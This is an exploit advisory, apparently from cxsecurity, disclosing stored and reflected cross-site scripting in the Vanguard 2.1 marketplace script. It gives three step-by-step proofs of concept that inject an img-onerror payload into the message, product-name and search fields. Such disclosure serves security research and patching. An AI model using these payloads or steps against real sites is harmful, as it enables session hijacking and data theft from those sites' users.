

## Vanguard 2.1 Cross Site Scripting

2020.04.07

Credit: [thelastvvv \(https://cxsecurity.com/author/thelastvvv/1/\)](https://cxsecurity.com/author/thelastvvv/1/)

Risk: **Low**

Local: **No**

Remote: **Yes**

CVE: **N/A**

CWE: **CWE-79 (https://cxsecurity.com/cwe/CWE-79)**

```
# Exploit Title: Vanguard 2.1 Multi XSS Vulnerabilities
# Google Dork:N/A
# Date: 2020-04-04
# Exploit Author: @TheLastVvV
# Vendor Homepage: https://codecanyon.net/item/vanguard-marketplace-digital-products-php/20287975
# Version: 2.1
# Tested on: 5.4.0-4parrot1-amd64
```

### Summary:

Persistent Cross-site Scripting in message&product title-tags also there's Non-Persistent Cross-site scripting in product search box.

### PoC 1:

#### A- Message

```
1- create an account on vanguard marketplace
2- go to send mail
https://example/emails/new
```

In the "Object" field type my my preferred payload : "><img src=x onerror=prompt(document.domain);>

```
3-then choose the target (username ) then hit submit
4- now go to the mailbox and click on the msg
https://example/emails/read/1
```

et voila xssed!

### PoC 2:

#### B:Product

```
1-go to add new product
2- In the "Product Name" field type my my preferred payload : "><img src=x onerror=prompt(document.domain);>
2- now view the product page
https://example/p/(id)
3 -click on download in the product page
https://example/download/(id)
```

et voila xssed!

### PoC 3:

In Products Search box use payload:  
"><img src=x onerror=prompt(document.domain);>

### Impact:

XSS can lead to user's Session Hijacking, and if used in conjunction with a social engineering attack it can also lead to disclosure of sensitive data, CSRF attacks and other critical attacks on all users of the product .

Screenshoots:

A -<https://imgur.com/jkCfaEh>

B -<https://imgur.com/3GuKGJr>

**See this note in RAW Version** (<https://cxsecurity.com/ascii/WLB-2020040032>)

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